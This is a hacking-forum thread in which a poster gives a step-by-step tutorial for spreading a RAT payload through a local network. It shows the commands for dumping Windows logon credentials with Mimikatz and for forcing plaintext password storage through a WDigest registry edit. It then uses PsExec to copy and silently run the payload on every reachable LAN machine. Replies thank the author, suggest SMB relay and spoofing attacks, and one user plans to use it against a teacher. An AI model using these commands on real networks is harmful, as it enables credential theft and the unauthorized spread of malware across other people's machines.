

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Spreading in LAN with RAT + MimiKatz + PsExec](#)

Qismon - October 7, 2016, 2:05 pm

Hello everyone wanted to share something very basic that for whatever reason I have not seen shared here. Hopefully you find it useful :)

Needed Materials:

- 1: Your RAT of choice that has Remote Command Prompt Capability
- 2: MimiKatz.exe (Download Link Below)
- 3: PsExec.exe (Download Link Below)

MimiKatz Download

https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-20161005/mimikatz_trunk.zip

PsExec Download

<https://download.sysinternals.com/files/PSTools.zip>

STEP 1 ## (Upload Needed Files to Client)

Open the Remote Command Prompt function on any of your clients and verify the location/path (Example: C:\Users\admin) and upload these 3 items to the SAME location/path.

Do not execute any of the files yet, ONLY UPLOAD to same location/path as your command prompt.

- MimiKatz.exe
- PsExec.exe or PsExec64.exe (This depends if your client has 32Bit or 64Bit OS)
- Your Payload (For examples sake we will call it payload.exe)

(VERIFY STEP 1)

After all needed files are in the same location/path you can simply check by typing "dir" without parenthesis in the command prompt.

If you see all the files you uploaded then you are ready to move on.

STEP 2 ## (Extract Windows Logon Credentials with MimiKatz)

In the command prompt of your client type the following commands:

```
C:\> mimikatz.exe privilege::debug
```

(This should return a message saying: Privilege '20' OK)

```
C:\> sekurlsa::logonpasswords
```

(This will return a huge list of Usernames/Domains/NTLM/SHA1/Passwords)

```
C:\> exit
```

(This will exit the MimiKatz terminal)

*****NOTE*****

If no passwords are shown this is usually because login passwords are not being saved in

plain text format, no worries! A simple Regedit can fix that. If you run into this problem then enter the following command:

```
C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v  
UseLogonCredential /t REG_DWORD /d 1  
(The user needs to simply logout or restart the PC for this to take effect.)
```

Now repeat the first part of "STEP 2" and all should be back on track now.

STEP 3

Now that we have all the login creds for the client we will now use PsExec to upload our payload.exe and execute it on other LAN PC's that share the same password by typing ONE of the following commands:

```
C:\> PsExec.exe \\* -c payload.exe -accepteula  
(This is used as a wildcard, it will enumerate all LAN connected PC's and attempt to execute the  
payload.exe remotely using  
the same creds that are used on said client.)
```

```
C:\> PsExec.exe \\PCNAME -c payload.exe -u username -p password -accepteula  
(This command is used to specify a certain PC name/Username/Password)
```

IMPORTANT NOTE: Always use the -accepteula argument at the end so you run silent without any pop ups.

overtake - October 8, 2016, 3:18 am

Use caution people. No virus scan provided. My anti-virus didn't like those files.

yotoprules - October 8, 2016, 3:32 am

(Oct 8, 2016 03:18 AM)overtake Wrote: [\[CITE\]](#) Use caution people. No virus scan provided. My anti-virus didn't like those files.

My brain didn't like this comment. Its malicious, of course its detected. Use in a VM or spare PC of you are scared.

skidhackz - October 8, 2016, 3:52 am

Does it need a restart after you add the reg key?

Qismon - October 10, 2016, 8:05 am

(Oct 8, 2016 03:18 AM)overtake Wrote: [\[CITE\]](#) Use caution people. No virus scan provided. My anti-virus didn't like those files.The download links are from their official page! Yes they are both detected as a virus by some AV's.

Quote: Does it need a restart after you add the reg key?

Restart or just close the session and it will take effect. Remember this works best on PC's that are joined in a domain because many IT administrators will use the same password.

Fantom4242 - October 10, 2016, 8:07 am

(Oct 8, 2016 03:18 AM)overtake Wrote: [\[CITE\]](#) Use caution people. No virus scan provided. My anti-virus didn't like those files.

If you are too afraid of being infected, use DeepFreeze on a computer, which doesn't store any

important information.

fannas1 - October 12, 2016, 1:30 pm

Interesting thank you for sharing.

Armada - October 12, 2016, 3:25 pm

(Oct 7, 2016 02:05 PM)pdapentester Wrote: [\[CITE\]](#) MimiKatz Download

https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-20161005/mimikatz_trunk.zip

Holy hell did my system ever go crazy with this file.

Had to disable security just to obtain it and check, but yes, this is a clean source and files fine, AVs just dont like it due to what it does.

Thanks for the Tutorial OP. ?

DarkMove - October 12, 2016, 3:52 pm

Actually you can do all of that with meterpreter from metasploit, as far pivoting and using SMB to execute commands you don't have to use psExec (but I prefer to use it) MSF comes with modules allow you to take control if you get the credentials

IMO it is really big area to study and practice

Thanks for the tut, keep it up

Regards

EPS Tech - October 13, 2016, 3:55 am

Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?

Qismon - October 13, 2016, 7:01 am

(Oct 13, 2016 03:55 AM)perez Wrote: [\[CITE\]](#) Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.

EPS Tech - October 13, 2016, 1:33 pm

(Oct 13, 2016 07:01 AM)pdapentester Wrote: [\[CITE\]](#) Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.

OK, thankx. Will try it out.

Reptile-Ermac - October 14, 2016, 12:55 am

thanks for this amazing tutorial OP . Gonna try this right now ?

zLuke - October 14, 2016, 12:56 am

(Oct 8, 2016 03:18 AM)overtake Wrote: [\[CITE\]](#) Use caution people. No virus scan provided. My anti-virus didn't like those files.
autism user

BlueDarts - October 15, 2016, 12:18 am

Nice tutorial . But , will check the reviews before checking it out ?

?ane - October 15, 2016, 12:22 am

Good share OP, thanks for the tutorial ?

giwrgosev - May 9, 2018, 7:01 am

posting so I can come here later.

TheBrokenWasp - May 10, 2018, 5:58 pm

Very interesting, posting here so I can come back later and I don't forget xD

jademanworld - May 11, 2018, 3:40 am

I actually wait for someone that actually "knows" about all this technical stuff before i download files. So if you say it's okay. . . I will download it. You got my vote.lol

Tried to quote Armada but my internet sucks but yeah

kingshakes - July 10, 2018, 2:13 pm

Anyone tried this out here yet?

Last_viking - July 16, 2018, 12:17 pm

This is what i was looking for .Finally found this

Op is HQ member

Tyler Durden. - July 17, 2018, 9:43 am

Can't download Mimikatz - link is dead :(

Last_viking - July 17, 2018, 10:28 am

Probably original uploader of Mimikatz deleted the uploaded files . There are plenty of mimikatz forks on github

Qismon - July 17, 2018, 10:50 am

<https://github.com/gentilkiwi/mimikatz>

Fire_Star - July 24, 2018, 4:21 am

This is awesome, something I was looking for.

Than for the tut OP.

hydra11 - July 29, 2018, 5:18 am

nice one mate can u put a new post based on privilege escalation or uac bypass from 2008 to 2016 win servers? it would be helpfull

uspoer321 - July 29, 2018, 1:13 pm

good tutorial , but spreading now is more difficult

Qismon - July 30, 2018, 7:27 am

(Jul 29, 2018 01:13 PM)uspoer321 Wrote: [\[CITE\]](#) good tutorial , but spreading now is more difficult
Its not more difficult, just need to have new ideas.

If anyone wants to try something more advanced that you won't find a tutorial on. Ill give you a hint...

SMB Relay Attack + ARP/DNS Spoof

Grynnner - July 30, 2018, 6:23 pm

Are you sure about this, It seems legit but my virus scan didnt like it

Qismon - July 31, 2018, 11:35 am

(Jul 30, 2018 06:23 PM)Grynner Wrote: [\[CITE\]](#) Are you sure about this, It seems legit but my virus scan didnt like it

Of course I am sure about it.

How is it that "hackers" these days have not even heard of Mimikatz or PsExec?

Pikaparkyy - August 2, 2018, 11:09 am

thx needed this to pwn my mean teacher!!

vouch

:D :D